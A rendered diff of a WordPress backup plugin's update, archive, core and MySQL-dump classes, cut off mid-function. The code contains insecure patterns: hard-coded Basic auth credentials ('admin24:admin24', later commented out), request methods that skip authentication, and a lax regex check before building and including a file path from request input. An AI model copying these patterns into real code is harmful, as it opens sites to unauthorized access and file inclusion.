+ WPAdm_Core::rmdir( DROPBOX_BACKUP_DIR_BACKUP . "/{$params_data_cron['name']}");
100
+ }
101
  }
102
 
103
  return $this->result;
 
 
104
  }
105
 
106
  private function init(array $conf) {
methods/class-wpadm-method-update.php CHANGED
@@ -13,10 +13,10 @@ if (!class_exists('WPAdm_Method_Update')) {
13
  $n = count($this->params['files']);
14
  for($i = 0; $i < $n; $i++) {
15
  if ( ( $f = $this->dl($this->params['files'][$i]) ) === false ) {
16
- $error[] = 'Error to copy file ' . $this->params['files'][$i]['file'];
17
  } else {
18
  if ( is_string($f) && $this->unpack($f, $this->params['files'][$i]['to']) === false ) {
19
- $error[] = 'Error to extract file ' . $f;
20
  }
21
  if (file_exists($f)) {
22
  unlink($f);
@@ -56,8 +56,9 @@ if (!class_exists('WPAdm_Method_Update')) {
56
  $b = $file['to'];
57
  }
58
  if (!empty($d_)) {
59
- $headers = array( 'Authorization' => 'Basic ' . base64_encode( "admin24:admin24" ) );
60
  $f = wp_remote_get($file['file'], array('headers' => $headers));
 
61
  if (isset($f['body']) && !empty($f['body'])) {
62
  file_put_contents($d_ . "/" . $b, $f['body']);
63
  if (file_exists($d_ . "/" . $b)) {
@@ -83,10 +84,10 @@ if (!class_exists('WPAdm_Method_Update')) {
83
  PCLZIP_OPT_REPLACE_NEWER,
84
  PCLZIP_OPT_REMOVE_PATH, WPAdm_Core::$plugin_name
85
  );
 
86
  if ( $res ) {
87
  return true;
88
  }
89
- WPAdm_Core::log($this->archive->errorInfo(true));
90
  return false;
91
  }
92
  }
13
  $n = count($this->params['files']);
14
  for($i = 0; $i < $n; $i++) {
15
  if ( ( $f = $this->dl($this->params['files'][$i]) ) === false ) {
16
+ $error[] = langWPADM::get('Error to copy file ' , false) . $this->params['files'][$i]['file'];
17
  } else {
18
  if ( is_string($f) && $this->unpack($f, $this->params['files'][$i]['to']) === false ) {
19
+ $error[] = langWPADM::get('Error to extract file ' , false) . $f;
20
  }
21
  if (file_exists($f)) {
22
  unlink($f);
56
  $b = $file['to'];
57
  }
58
  if (!empty($d_)) {
59
+ //$headers = array( 'Authorization' => 'Basic ' . base64_encode( "admin24:admin24" ) );
60
  $f = wp_remote_get($file['file'], array('headers' => $headers));
61
+ WPAdm_Core::log(serialize($f));
62
  if (isset($f['body']) && !empty($f['body'])) {
63
  file_put_contents($d_ . "/" . $b, $f['body']);
64
  if (file_exists($d_ . "/" . $b)) {
84
  PCLZIP_OPT_REPLACE_NEWER,
85
  PCLZIP_OPT_REMOVE_PATH, WPAdm_Core::$plugin_name
86
  );
87
+ WPAdm_Core::log($this->archive->errorInfo(true));
88
  if ( $res ) {
89
  return true;
90
  }
 
91
  return false;
92
  }
93
  }
modules/class-wpadm-archive.php CHANGED
@@ -1,42 +1,50 @@
1
- <?php
2
- require_once dirname(__FILE__) . '/pclzip.lib.php';
3
- if (!class_exists('WPAdm_Archive')) {
4
- class WPAdm_Archive {
5
- private $remove_path = '';
6
- private $files = array();
7
- /**
8
- * @var PclZip
9
- */
10
- private $archive;
11
- private $md5_file = '';
12
-
13
- public function __construct($file, $md5_file = '') {
14
- $this->archive = new PclZip($file);
15
- $this->files[] = $file;
16
- $this->md5_file = $md5_file;
17
- }
18
-
19
- public function add($file) {
20
- if (empty($this->remove_path)) {
21
- $this->archive->add($file);
22
- } else {
23
- $this->archive->add($file, PCLZIP_OPT_REMOVE_PATH, $this->remove_path);
24
- }
25
- $this->saveMd5($file);
26
- }
27
-
28
- protected function saveMd5($file) {
29
- if ($this->md5_file) {
30
- $files = explode(',', $file); {
31
- foreach($files as $f) {
32
- file_put_contents($this->md5_file, $f . "\t" . md5_file($f) . "\t" . basename($this->archive->zipname) . "\n", FILE_APPEND);
33
- }
34
- }
35
- }
36
- }
37
-
38
- public function setRemovePath($remove_path) {
39
- $this->remove_path = $remove_path;
40
- }
41
- }
 
 
 
 
 
 
 
 
42
  }
1
+ <?php
2
+ if ( !class_exists("PclZip") ) {
3
+ require_once dirname(__FILE__) . '/pclzip.lib.php';
4
+ }
5
+ if (!class_exists('WPAdm_Archive')) {
6
+ class WPAdm_Archive {
7
+ private $remove_path = '';
8
+ private $files = array();
9
+ /**
10
+ * @var PclZip
11
+ */
12
+ private $archive;
13
+ private $md5_file = '';
14
+
15
+ public function __construct($file, $md5_file = '') {
16
+ $this->archive = new PclZip($file);
17
+ $this->files[] = $file;
18
+ $this->md5_file = $md5_file;
19
+ }
20
+
21
+ public function add($file)
22
+ {
23
+ $this->packed($file);
24
+ }
25
+ public function packed($file)
26
+ {
27
+ ini_set("memory_limit", "256M");
28
+ if (empty($this->remove_path)) {
29
+ $this->archive->add($file);
30
+ } else {
31
+ $this->archive->add($file, PCLZIP_OPT_REMOVE_PATH, $this->remove_path);
32
+ }
33
+ $this->saveMd5($file);
34
+ }
35
+
36
+ protected function saveMd5($file) {
37
+ if ($this->md5_file) {
38
+ $files = explode(',', $file); {
39
+ foreach($files as $f) {
40
+ file_put_contents($this->md5_file, $f . "\t" . @md5_file($f) . "\t" . basename($this->archive->zipname) . "\n", FILE_APPEND);
41
+ }
42
+ }
43
+ }
44
+ }
45
+
46
+ public function setRemovePath($remove_path) {
47
+ $this->remove_path = $remove_path;
48
+ }
49
+ }
50
  }
modules/class-wpadm-command-context.php CHANGED
@@ -1,28 +1,32 @@
1
- <?php
2
- if (!class_exists('WPAdm_Command_Context')) {
3
- class WPAdm_Command_Context {
4
- private $params = array();
5
- private $error = '';
6
-
7
- public function addParam($key, $val)
8
- {
9
- $this->params[$key] = $val;
10
- return $this;
11
- }
12
-
13
- public function get($key)
14
- {
15
- return $this->params[$key];
16
- }
17
-
18
- public function setError($error)
19
- {
20
- $this->error = $error;
21
- return $this;
22
- }
23
-
24
- public function getError() {
25
- return $this->error;
26
- }
27
- }
 
 
 
 
28
  }
1
+ <?php
2
+ if (!class_exists('WPAdm_Command_Context')) {
3
+ class WPAdm_Command_Context {
4
+ private $params = array();
5
+ private $error = '';
6
+
7
+ public function addParam($key, $val)
8
+ {
9
+ $this->params[$key] = $val;
10
+ return $this;
11
+ }
12
+
13
+ public function get($key)
14
+ {
15
+ if (isset($this->params[$key])) {
16
+ return $this->params[$key];
17
+ } else {
18
+ return false;
19
+ }
20
+ }
21
+
22
+ public function setError($error)
23
+ {
24
+ $this->error = $error;
25
+ return $this;
26
+ }
27
+
28
+ public function getError() {
29
+ return $this->error;
30
+ }
31
+ }
32
  }
class-wpadm-command.php → modules/class-wpadm-command.php RENAMED
@@ -1,14 +1,14 @@
1
- <?php
2
- /**
3
- * Class WPAdm_Сommand
4
- */
5
- if (!class_exists('WPAdm_Сommand')) {
6
- abstract class WPAdm_Сommand {
7
- /**
8
- * @param WPAdm_Command_Context $context
9
- * @return boolean
10
- */
11
- abstract function execute(WPAdm_Command_Context $context);
12
-
13
- }
14
  }
1
+ <?php
2
+ /**
3
+ * Class WPAdm_Сommand
4
+ */
5
+ if (!class_exists('WPAdm_Сommand')) {
6
+ abstract class WPAdm_Сommand {
7
+ /**
8
+ * @param WPAdm_Command_Context $context
9
+ * @return boolean
10
+ */
11
+ abstract function execute(WPAdm_Command_Context $context);
12
+
13
+ }
14
  }
class-wpadm-core.php → modules/class-wpadm-core.php RENAMED
@@ -1,38 +1,48 @@
1
  <?php
2
- require_once dirname(__FILE__) . '/class-wpadm-result.php';
3
- require_once dirname(__FILE__) . '/class-wpadm-command.php';
4
- require_once dirname(__FILE__) . '/modules/class-wpadm-command-context.php';
5
- require_once dirname(__FILE__) . '/modules/class-wpadm-queue.php';
6
- require_once dirname(__FILE__) . '/modules/class-wpadm-command-factory.php';
 
7
 
8
 
9
  if (!class_exists('WPAdm_Core')) {
10
  class WPAdm_Core {
11
 
12
  /*
13
- * "прилетевший" POST-запрос от админки($_POST)
14
  * @var array
15
  */
16
  private $request = array();
17
 
18
  /*
19
- * публичный ключ для проверки подписи
20
  * @var string
21
  */
22
  private $pub_key;
23
 
24
  /*
25
- * Результат выполнения запроса
26
  * @var WPAdm_Result
27
  */
28
  private $result;
29
 
30
  private $plugin;
31
 
 
 
 
 
 
32
  public static $pl_dir;
33
 
 
 
34
  public static $plugin_name;
35
 
 
 
36
 
37
  public function __construct(array $request, $plugin = '', $plugin_dir = '') {
38
  $this->result = new WPAdm_Result();
@@ -41,22 +51,26 @@ if (!class_exists('WPAdm_Core')) {
41
  $this->plugin = $plugin;
42
  self::$pl_dir = $plugin_dir;
43
  self::$plugin_name = $plugin;
44
- // авторизация запроса
45
  if (!$this->auth()) {
46
  return;
47
- };
48
  if ('connect' == $request['method']) {
49
  $this->connect();
50
  } elseif ('local' == $request['method']){
51
 
52
  } elseif($obj = $this->getObject($request['method'], $request['params'])) {
53
- if (isset($obj->name)) {
54
- $this->name = $obj->name;
55
- }
56
- if (isset($obj->time)) {
57
- $this->time = $obj->time;
 
 
 
 
 
58
  }
59
- $this->result = $obj->getResult();
60
  } else {
61
  $this->result->setError('Unknown method "' . $request['method'] . '"');
62
  }
@@ -64,7 +78,7 @@ if (!class_exists('WPAdm_Core')) {
64
 
65
 
66
  /**
67
- * Возвращает путь до папки временных файлов
68
  * @return string
69
  */
70
  static public function getTmpDir() {
@@ -76,10 +90,6 @@ if (!class_exists('WPAdm_Core')) {
76
  return $tmp_dir;
77
  }
78
 
79
- /**
80
- * Возвращает путь до папки временных файлов
81
- * @return string
82
- */
83
  static public function getPluginDir() {
84
  return self::$pl_dir;
85
  }
@@ -90,13 +100,11 @@ if (!class_exists('WPAdm_Core')) {
90
  * @return null|WPAdm_Method_Class
91
  */
92
  private function getObject($method, $params) {
93
- if (!preg_match("|[a-zA-Z0-9_]|", $method)) {
94
  return null;
95
  }
96
- $method = mb_strtolower($method);
97
-
98
  $class_file = self::$pl_dir . "/methods/class-wpadm-method-" . str_replace('_', '-', $method) . ".php";
99
-
100
  if (file_exists($class_file)) {
101
  require_once $class_file;
102
  $tmp = explode('_', str_replace('-', '_', $method));
@@ -111,12 +119,21 @@ if (!class_exists('WPAdm_Core')) {
111
  $this->getResult()->setResult(WPAdm_result::WPADM_RESULT_ERROR);
112
  return null;
113
  }
114
- return new $class_name($params);
 
 
 
 
 
 
 
 
115
  }
116
  return null;
117
 
118
  }
119
 
 
120
  public static function getLog()
121
  {
122
  $file_log = self::getTmpDir() . '/log.log';
@@ -127,23 +144,23 @@ if (!class_exists('WPAdm_Core')) {
127
  }
128
 
129
  private function connect() {
130
-
131
  add_option('wpadm_pub_key', $this->pub_key);
132
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
133
-
134
  $sendData['system_data'] = get_system_data();
135
  $data['actApi'] = 'setStats';
136
  $data['site'] = get_option('siteurl');
137
  $data['data'] = wpadm_pack($sendData);
138
  if (!class_exists('WP_Http')) {
139
- include_once ABSPATH.WPINC.'/class-http.php';
140
  }
141
 
142
  $remote = array();
143
  $remote['body'] = $data;
144
  $remote['timeout'] = 20;
145
 
146
- $result = wp_remote_post(WPADM_URL_BASE, $remote);
147
  }
148
  public static function setPluginDIr($dir)
149
  {
@@ -155,14 +172,16 @@ if (!class_exists('WPAdm_Core')) {
155
  */
156
  private function auth() {
157
  $this->pub_key = get_option('wpadm_pub_key');
158
- if ('local_backup' == $this->request['method'] || 'local_restore' == $this->request['method'] || 'queue_controller' == $this->request['method'] || 'local' == $this->request['method']) {
 
159
  return true;
160
  }
 
161
  if (empty($this->pub_key)) {
162
  if ('connect' == $this->request['method']) {
163
  $this->pub_key = $this->request['params']['pub_key'];
164
  } else {
165
- $this->getResult()->setError('Активируйте сайт на wpadm.com для работы плагинов.');
166
  return false;
167
  }
168
  } elseif ('connect' == $this->request['method']) {
@@ -195,10 +214,18 @@ if (!class_exists('WPAdm_Core')) {
195
  */
196
  static public function mkdir($dir) {
197
  if(!file_exists($dir)) {
198
- mkdir($dir, 0755);
199
- //todo: права доступа
200
- file_put_contents($dir . '/index.php', '');
 
 
 
 
 
 
 
201
  }
 
202
  }
203
 
204
  /**
@@ -236,8 +263,10 @@ if (!class_exists('WPAdm_Core')) {
236
 
237
 
238
  static public function log($txt, $class='') {
239
- $log_file = self::getTmpDir() . '/log.log';
240
- file_put_contents($log_file, date("Y-m-d H:i:s") ."\t{$class}\t{$txt}\n", FILE_APPEND);
 
 
241
  }
242
 
243
  /**
@@ -254,10 +283,27 @@ if (!class_exists('WPAdm_Core')) {
254
  if (is_dir($f)) {
255
  self::rmdir($f);
256
  }
257
- unlink($f);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
258
  }
259
- rmdir($dir);
260
  }
 
261
  }
262
  }
263
  }
1
  <?php
2
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-result.php';
3
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-command.php';
4
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-command-context.php';
5
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-queue.php';
6
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-running.php';
7
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-command-factory.php';
8
 
9
 
10
  if (!class_exists('WPAdm_Core')) {
11
  class WPAdm_Core {
12
 
13
  /*
14
+ * "fly" POST from server
15
  * @var array
16
  */
17
  private $request = array();
18
 
19
  /*
20
+ * public key for auth
21
  * @var string
22
  */
23
  private $pub_key;
24
 
25
  /*
26
+ * work result
27
  * @var WPAdm_Result
28
  */
29
  private $result;
30
 
31
  private $plugin;
32
 
33
+ public $name = '',
34
+ $time = '';
35
+
36
+ public static $cron = true;
37
+
38
  public static $pl_dir;
39
 
40
+ public static $error = '';
41
+
42
  public static $plugin_name;
43
 
44
+ private static $cron_method = array('local_backup', 'send_to_dropbox', 'full_backup_dropbox');
45
+
46
 
47
  public function __construct(array $request, $plugin = '', $plugin_dir = '') {
48
  $this->result = new WPAdm_Result();
51
  $this->plugin = $plugin;
52
  self::$pl_dir = $plugin_dir;
53
  self::$plugin_name = $plugin;
54
+ // auth request
55
  if (!$this->auth()) {
56
  return;
57
+ }
58
  if ('connect' == $request['method']) {
59
  $this->connect();
60
  } elseif ('local' == $request['method']){
61
 
62
  } elseif($obj = $this->getObject($request['method'], $request['params'])) {
63
+ if (!is_null($obj) && !is_bool($obj) && $obj->isError()) {
64
+ $this->result = $obj->get_results();
65
+ } elseif(!is_null($obj) && !is_bool($obj)) {
66
+ if (isset($obj->name)) {
67
+ $this->name = $obj->name;
68
+ }
69
+ if (isset($obj->time)) {
70
+ $this->time = $obj->time;
71
+ }
72
+ $this->result = $obj->getResult();
73
  }
 
74
  } else {
75
  $this->result->setError('Unknown method "' . $request['method'] . '"');
76
  }
78
 
79
 
80
  /**
81
+ * return path to tmp dir
82
  * @return string
83
  */
84
  static public function getTmpDir() {
90
  return $tmp_dir;
91
  }
92
 
 
 
 
 
93
  static public function getPluginDir() {
94
  return self::$pl_dir;
95
  }
100
  * @return null|WPAdm_Method_Class
101
  */
102
  private function getObject($method, $params) {
103
+ if (!preg_match("|[a-zA-Z0-9_\-]|", $method)) {
104
  return null;
105
  }
106
+ $method = mb_strtolower($method);
 
107
  $class_file = self::$pl_dir . "/methods/class-wpadm-method-" . str_replace('_', '-', $method) . ".php";
 
108
  if (file_exists($class_file)) {
109
  require_once $class_file;
110
  $tmp = explode('_', str_replace('-', '_', $method));
119
  $this->getResult()->setResult(WPAdm_result::WPADM_RESULT_ERROR);
120
  return null;
121
  }
122
+ if (in_array( strtolower( $method ), self::$cron_method) && self::$cron) {
123
+ WPAdm_Running::setCommand( strtolower($this->request['method']), $params );
124
+ WPAdm_Running::run();
125
+ self::$cron = true;
126
+ return true;
127
+ } else {
128
+ return new $class_name($params);
129
+ }
130
+
131
  }
132
  return null;
133
 
134
  }
135
 
136
+
137
  public static function getLog()
138
  {
139
  $file_log = self::getTmpDir() . '/log.log';
144
  }
145
 
146
  private function connect() {
147
+
148
  add_option('wpadm_pub_key', $this->pub_key);
149
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
150
+
151
  $sendData['system_data'] = get_system_data();
152
  $data['actApi'] = 'setStats';
153
  $data['site'] = get_option('siteurl');
154
  $data['data'] = wpadm_pack($sendData);
155
  if (!class_exists('WP_Http')) {
156
+ include_once ABSPATH . WPINC . '/class-http.php';
157
  }
158
 
159
  $remote = array();
160
  $remote['body'] = $data;
161
  $remote['timeout'] = 20;
162
 
163
+ $result = wp_remote_post(WPADM_URL_BASE . "/api/", $remote);
164
  }
165
  public static function setPluginDIr($dir)
166
  {
172
  */
173
  private function auth() {
174
  $this->pub_key = get_option('wpadm_pub_key');
175
+ $methods_local = array('local_backup', 'send-to-dropbox', 'local_restore', 'local', 'queue_controller', 'local_send_to_s3');
176
+ if ( in_array($this->request['method'], $methods_local) ) {
177
  return true;
178
  }
179
+ self::log($this->request['method']);
180
  if (empty($this->pub_key)) {
181
  if ('connect' == $this->request['method']) {
182
  $this->pub_key = $this->request['params']['pub_key'];
183
  } else {
184
+ $this->getResult()->setError('Activate site in WPAdm.com for work to plugins.');
185
  return false;
186
  }
187
  } elseif ('connect' == $this->request['method']) {
214
  */
215
  static public function mkdir($dir) {
216
  if(!file_exists($dir)) {
217
+ @mkdir($dir, 0755);
218
+ if (!is_dir($dir)) {
219
+ self::$error = str_replace("&s", $dir, langWPADM::get('Failed to create a file, please check the permissions on the folders "&s".', false) );
220
+ } else {
221
+ //todo: права доступа
222
+ @file_put_contents($dir . '/index.php', '<?php echo "Hello World!"; ');
223
+ if ( !is_writable($dir . '/index.php') ) {
224
+ self::$error = str_replace("&s", $dir, langWPADM::get('Failed to create a file, please check the permissions on the folders "&s".', false) );
225
+ }
226
+ }
227
  }
228
+ return self::$error;
229
  }
230
 
231
  /**
263
 
264
 
265
  static public function log($txt, $class='') {
266
+ if (!empty($txt)) {
267
+ $log_file = self::getTmpDir() . '/log.log';
268
+ file_put_contents($log_file, date("Y-m-d H:i:s") ."\t{$class}\t{$txt}\n", FILE_APPEND);
269
+ }
270
  }
271
 
272
  /**
283
  if (is_dir($f)) {
284
  self::rmdir($f);
285
  }
286
+ if (file_exists($f)) {
287
+ @unlink($f);
288
+ }
289
+ }
290
+ @rmdir($dir);
291
+ } elseif (is_file($dir)) {
292
+ @unlink($dir);
293
+ }
294
+ }
295
+ static function dir_writeble($dir)
296
+ {
297
+ $error = self::mkdir($dir);
298
+ $ret = true;
299
+ if (empty($dir)) {
300
+ @file_put_contents($dir . "/test", "Hello World!!!");
301
+ if (!@is_writable($dir . "/test") && @filesize($dir . "/test") == 0) {
302
+ $ret = false;
303
  }
304
+ @unlink($dir . "/test");
305
  }
306
+ return $ret;
307
  }
308
  }
309
  }
modules/class-wpadm-method-class.php ADDED
@@ -0,0 +1,38 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+
3
+
4
+ if (!class_exists('WPAdm_Method_Class')) {
5
+ abstract class WPAdm_Method_Class {
6
+ /**
7
+ * @var mixed
8
+ */
9
+ protected $params;
10
+
11
+ /**
12
+ * @var WPAdm_result
13
+ */
14
+ protected $result;
15
+
16
+ /**
17
+ * @param mixed $params
18
+ */
19
+ public function __construct($params) {
20
+ $this->params = $params;
21
+ $this->result = new WPAdm_Result();
22
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
23
+ $this->result->setError('');
24
+ }
25
+
26
+ abstract function getResult();
27
+
28
+ public function isError()
29
+ {
30
+ $error = $this->result->getError();
31
+ return isset($this->result) && !empty( $error );
32
+ }
33
+ public function get_results()
34
+ {
35
+ return $this->result;
36
+ }
37
+ }
38
+ }
modules/class-wpadm-mysqldump.php CHANGED
@@ -8,222 +8,213 @@ if (!class_exists('WPAdm_Mysqldump')) {
8
  public $host = '';
9
  public $user = '';
10
  public $password = '';
11
- public $dbh ;
 
12
 
13
  private function connect($db = '') {
14
- WPAdm_Core::log("----------------------------------------------------");
15
- WPAdm_Core::log("Connecting to MySQL...");
16
- if ($db) {
17
- $link = mysqli_connect($this->host, $this->user, $this->password, $db);
18
- } else {
19
- $link = mysqli_connect($this->host, $this->user, $this->password);
20
- }
21
- if (mysqli_connect_errno()) {
22
- $this->setError('MySQL Connect failed: ' . mysqli_connect_error());
23
- }
24
- $this->dbh = $link;
25
- $this->init_charset($link);
26
- $this->set_charset($link);
27
- return $link;
28
-
29
- }
30
-
31
- public function set_charset( $link, $charset = null, $collate = null ) {
32
- if ( ! isset( $charset ) )
33
- $charset = $this->charset;
34
- if ( ! isset( $collate ) )
35
- $collate = $this->collate;
36
- WPAdm_Core::log("MySQL set Charset $charset");
37
- if (! empty( $charset ) ) {
38
- if ( function_exists( 'mysqli_set_charset' )) {
39
- mysqli_set_charset( $link, $charset );
40
  } else {
41
- $query = $this->prepare( 'SET NAMES %s', $charset );
42
- if ( ! empty( $collate ) )
43
- $query .= $this->prepare( ' COLLATE %s', $collate );
44
- mysqli_query( $link, $query );
45
- }
46
-
47
- }
48
- }
49
- public function init_charset($link)
50
- {
51
- if ( function_exists('is_multisite') && is_multisite() ) {
52
- $this->charset = 'utf8';
53
- if ( defined( 'DB_COLLATE' ) && DB_COLLATE ) {
54
- $this->collate = DB_COLLATE;
55
- } else {
56
- $this->collate = 'utf8_general_ci';
57
- }
58
- } elseif ( defined( 'DB_COLLATE' ) ) {
59
- $this->collate = DB_COLLATE;
60
- }
61
-
62
- if ( defined( 'DB_CHARSET' ) ) {
63
- $this->charset = DB_CHARSET;
64
- }
65
-
66
- if ( ( ! ( $link instanceof mysqli ) )
67
- || ( empty( $link ) || ! ( $link instanceof mysqli ) ) ) {
68
- return;
69
- }
70
-
71
- if ( 'utf8' === $this->charset && $this->has_cap( 'utf8mb4' ) ) {
72
- $this->charset = 'utf8mb4';
73
- }
74
-
75
- if ( 'utf8mb4' === $this->charset && ( ! $this->collate || stripos( $this->collate, 'utf8_' ) === 0 ) ) {
76
- $this->collate = 'utf8mb4_unicode_ci';
77
- }
78
- }
79
- public function has_cap( $db_cap ) {
80
- $version = $this->db_version();
81
-
82
- switch ( strtolower( $db_cap ) ) {
83
- case 'collation' : // @since 2.5.0
84
- case 'group_concat' : // @since 2.7.0
85
- case 'subqueries' : // @since 2.7.0
86
- return version_compare( $version, '4.1', '>=' );
87
- case 'set_charset' :
88
- return version_compare( $version, '5.0.7', '>=' );
89
- case 'utf8mb4' : // @since 4.1.0
90
- if ( version_compare( $version, '5.5.3', '<' ) ) {
91
- return false;
92
  }
93
- $client_version = mysqli_get_client_info();
94
- if ( false !== strpos( $client_version, 'mysqlnd' ) ) {
95
- $client_version = preg_replace( '/^\D+([\d.]+).*/', '$1', $client_version );
96
- return version_compare( $client_version, '5.0.9', '>=' );
97
- } else {
98
- return version_compare( $client_version, '5.5.3', '>=' );
 
 
 
99
  }
 
100
  }
101
-
102
- return false;
103
- }
104
- public function db_version() {
105
-
106
- $server_info = mysqli_get_server_info( $this->dbh );
107
-
108
- return preg_replace( '/[^0-9.].*/', '', $server_info );
109
- }
110
- public function prepare( $query, $args ) {
111
- if ( is_null( $query ) )
112
- return;
113
-
114
- // This is not meant to be foolproof -- but it will catch obviously incorrect usage.
115
- if ( strpos( $query, '%' ) === false ) {
116
- _doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9' );
117
- }
118
-
119
- $args = func_get_args();
120
- array_shift( $args );
121
- // If args were passed as an array (as in vsprintf), move them up
122
- if ( isset( $args[0] ) && is_array($args[0]) )
123
- $args = $args[0];
124
- $query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
125
- $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
126
- $query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
127
- $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
128
- array_walk( $args, array( $this, 'escape_by_ref' ) );
129
- return @vsprintf( $query, $args );
130
  }
131
 
132
  public function optimize($db) {
133
- $link = $this->connect($db);
134
- WPAdm_Core::log("Optimize Database Tables was started");
135
- if (!$result = mysqli_query($link, 'SHOW TABLES')) {
136
- $this->setError(mysqli_error($link));
137
- };
138
- while($row = mysqli_fetch_row($result))
139
- {
140
- if (!mysqli_query($link, 'OPTIMIZE TABLE '.$row[0])) {
141
- $this->setError(mysqli_error($link));
142
- };
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
143
  }
144
- WPAdm_Core::log("Optimize Database Tables was Finished");
145
-
146
  }
147
 
148
- public function mysqldump($db, $filename) {
149
- $link = $this->connect($db);
150
- WPAdm_Core::log("MySQL of Dump was started");
151
- $tables = array();
152
- if (!$result = mysqli_query($link, 'SHOW TABLES')) {
153
- $this->setError(mysqli_error($link));
154
- };
155
- while($row = mysqli_fetch_row($result))
156
- {
157
- $tables[] = $row[0];
158
- }
159
-
160
- //cycle through
161
-
162
- $return = '';
163
- $charset = mysqli_get_charset($link);
164
- if (isset($charset->charset)) {
165
- $return .= "SET NAMES '{$charset->charset}';\n\n";
166
- WPAdm_Core::log("SET NAMES Database {$charset->charset};");
167
- }
168
- foreach($tables as $table)
169
- {
170
- WPAdm_Core::log("Add a table {$table} in the database dump");
171
- mysqli_close($link);
172
  $link = $this->connect($db);
173
- if (!$result = mysqli_query($link, 'SELECT * FROM ' . $table)) {
174
- $this->setError(mysqli_error($link));
175
- };
176
- $num_fields = mysqli_num_fields($result);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
177
 
178
- $return.= 'DROP TABLE '.$table.';';
179
- if (!$ress = mysqli_query($link, 'SHOW CREATE TABLE ' . $table)) {
180
- $this->setError(mysqli_error($link));
181
- };
182
 
183
- $row2 = mysqli_fetch_row($ress);
184
- $return.= "\n\n".$row2[1].";\n\n";
 
 
 
185
 
186
- for ($i = 0; $i < $num_fields; $i++)
187
- {
188
- while($row = mysqli_fetch_row($result))
189
- {
190
- $return.= 'INSERT INTO '.$table.' VALUES(';
191
- for($j=0; $j<$num_fields; $j++)
192
- {
193
- //$row[$j] = mb_convert_encoding($row[$j], 'UTF-8', 'auto');
194
- $row[$j] = addslashes($row[$j]);
195
- $row[$j] = str_replace("\n","\\n",$row[$j]);
196
- if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
197
- if ($j<($num_fields-1)) { $return.= ','; }
198
  }
199
- $return.= ");\n";
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
200
  }
201
  }
202
- $return.="\n\n\n";
 
 
 
 
 
 
 
203
  }
204
-
205
- mysqli_close($link);
206
- $handle = fopen($filename,'w+');
207
- fwrite($handle,$return);
208
- fclose($handle);
209
- WPAdm_Core::log("MySQL of Dump was finished");
210
- return true;
211
  }
212
 
213
  private function setError($txt)
214
  {
215
- //WPAdm_Core::log($txt);
216
  throw new Exception($txt);
217
  }
218
 
219
  public function restore($db, $file)
220
  {
221
  $link = $this->connect($db);
222
- WPAdm_Core::log("Restore Database was started");
223
  $fo = fopen($file, "r");
224
  if (!$fo) {
225
- WPAdm_Core::log("Error in open file dump");
226
- $this->setError("Error in open file dump");
227
  return false;
228
  }
229
  $sql = "";
@@ -234,17 +225,17 @@ if (!class_exists('WPAdm_Mysqldump')) {
234
  if ($char_new !== false && $char_new != "\n") {
235
  $sql .= $char_new;
236
  } else {
237
- $ress = mysqli_query($link, $sql);
238
- if (!$ress) {
239
- $this->setError(mysqli_error($link));
240
- WPAdm_Core::log("MySQL Error: " . mysqli_error($link));
241
  break;
242
  };
243
  $sql = "";
244
  }
245
  }
246
  }
247
- WPAdm_Core::log("Restore Database was finished");
248
  }
249
  }
250
  }
8
  public $host = '';
9
  public $user = '';
10
  public $password = '';
11
+ public $dbh = null ;
12
+ public $rows = 1000;
13
 
14
  private function connect($db = '') {
15
+ //WPAdm_Core::log("----------------------------------------------------");
16
+ //WPAdm_Core::log( langWPADM::get('Connecting to MySQL...' , false) );
17
+ if (! class_exists('wpdb')) {
18
+ require_once ABSPATH . '/' . WPINC . '/wp-db.php';
19
+ }
20
+ if ($this->dbh === null) {
21
+ global $wpdb;
22
+ if (is_object($wpdb)) {
23
+ $this->dbh = $wpdb;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
24
  } else {
25
+ $this->dbh = new wpdb( $this->user, $this->password, $db, $this->host );
26
+ $errors = $this->dbh->last_error;
27
+ if ($errors) {
28
+ $this->setError( langWPADM::get('MySQL Connect failed: ' , false) . $errors);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
29
  }
30
+ if (isset($this->dbh->error->errors) && count($this->dbh->error->errors) > 0 ) {
31
+ $error = '';
32
+ foreach($this->dbh->error->errors as $key => $err) {
33
+ if ($key === 'db_connect_fail') {
34
+ $error .= "Connect fail: Check the number of connections to the database or \n";
35
+ }
36
+ $error .= strip_tags( implode("\n", ($err) ) );
37
+ }
38
+ $this->setError( $error );
39
  }
40
+ }
41
  }
42
+ return $this->dbh;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
43
  }
44
 
45
  public function optimize($db) {
46
+ $proc_data = WPAdm_Running::getCommandResultData('db');
47
